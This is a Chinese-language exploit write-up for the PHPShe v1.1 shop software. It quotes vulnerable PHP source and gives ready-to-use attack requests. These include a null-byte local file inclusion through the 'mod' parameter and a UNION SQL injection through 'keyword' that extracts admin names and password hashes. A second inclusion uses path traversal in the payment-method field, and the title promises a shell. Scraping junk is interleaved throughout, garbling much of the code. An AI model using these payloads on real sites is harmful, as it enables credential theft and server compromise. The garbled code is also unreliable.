phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
& V0 v. j& I  _/ T8 h/* By: : Kn1f3
; L) }. T( F& {% v0 M" r/* E-Mail : 681796@qq.com
/*******************************************************/
- d  d$ l2 @( @% U  ?0 {0×00 整体大概参数传输
! ^  l& |; A& |! a4 L0 b+ d' O4 A

& }* q( v8 v  {( S9 G6 Y
//common.php
$ m4 @$ _& T$ L+ {if (get_magic_quotes_gpc()) {
% |6 _$ C$ U" Q0 l& X!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
9 V8 G" K3 S+ D% x9 l0 l- ]* U5 r}
: Q' [2 O- B/ H  \) `: j8 zelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
0 w+ y5 c4 A! f!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
7 }5 {; R* a: a2 ]; O
. U: d1 ?: I$ S# S3 x" {! R0×01 包含漏洞
* V. Y: \; P- D: J

, H3 H# `  J# A& B  I( u//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
! L+ I: r5 k- B1 W8 ?  |5 ~0 x+ O4 cinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
. x, T2 e! n2 k8 n//common 文件 第15行开始
" X/ C  G" }, V9 Murl路由配置
: B% c: [2 {9 h$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 ^5 m& t; k& s8 R3 _8 Y6 D5 [% A//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
; \" M0 M. |  P8 j

0 V: _) \* V2 e: n$ Z) o) k
% @1 H* w- k" k( h  k  W( Z 0×02 搜索注入

8 s9 b$ _+ v& @8 s+ {<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
9 b, _3 E% _5 }! G' o# E0 V# K$info = $db->pe_select('category', array('category_id'=>$category_id));
. N& w) W" e. O8 d6 B% A//搜索
$sqlwhere = " and `product_state` = 1";
3 v0 b4 ~8 M# T* Zpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
: X/ ^+ ^: X2 r$ e3 j$ n$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
% c1 Q9 b- B$ w& f" ^, E$ z. f( j6 cif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) L5 z9 f$ o" @  H* ?% t% ]}
9 @  b, z+ N) b: z2 \" B* Pelse {
7 E! n" m/ u! w  o$sqlwhere .= " order by `product_id` desc";
$ m: t* L; ^! B  Q7 z}
# P, S5 t6 p, F) B: u, V6 B( u5 Q5 l$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
' }4 c" f" b5 y0 W//跟进selectall函数库
# W) o" L% V6 t" v6 _& ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! O( Z3 E, [& Q( \% `! ^9 o{
% }, U' i; V9 H# L$ J; G//处理条件语句
3 [9 q+ M$ s, A) W% A) |3 A6 p$sqlwhere = $this->_dowhere($where);
+ U- k' q. _6 z9 ^. P( l) ]return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( N' p* n7 T: K8 z* A! m}
. L( F2 y+ {. \4 h- X//exp
* o$ n; q- C6 f: w: h: N( mproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$ Y  \( B( K- o  @& o$ w$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

8 u8 e1 r8 D) ]- H: U4 vforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

* [* f6 o+ ]/ x, G}

8 E  L) B: i, c/ E8 A6 v$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

  B0 [4 H4 @) G7 B4 e6 \!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) r! \1 B) p1 B3 Z4 V1 h0 |* D5 K3 ^$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

2 a6 f# R: J. l9 _" J6 a$order['order_name'] .= "{$v['product_name']};";
' [. B" r& m+ p6 }% k

' Z( w4 X+ e1 p: e}

echo '正在为您连接支付网站，请稍后...';

2 w* r; C* p7 S1 @9 J7 |: U& W0 }$ ]include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

5 t& n/ e# E# V}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

) _- h) |: h7 U( xpe_error('支付错误...');

}

- a# N) v/ k6 w1 b4 d}

* C( G( G- x, E* l( u$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

/ g5 |* E+ M+ `break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>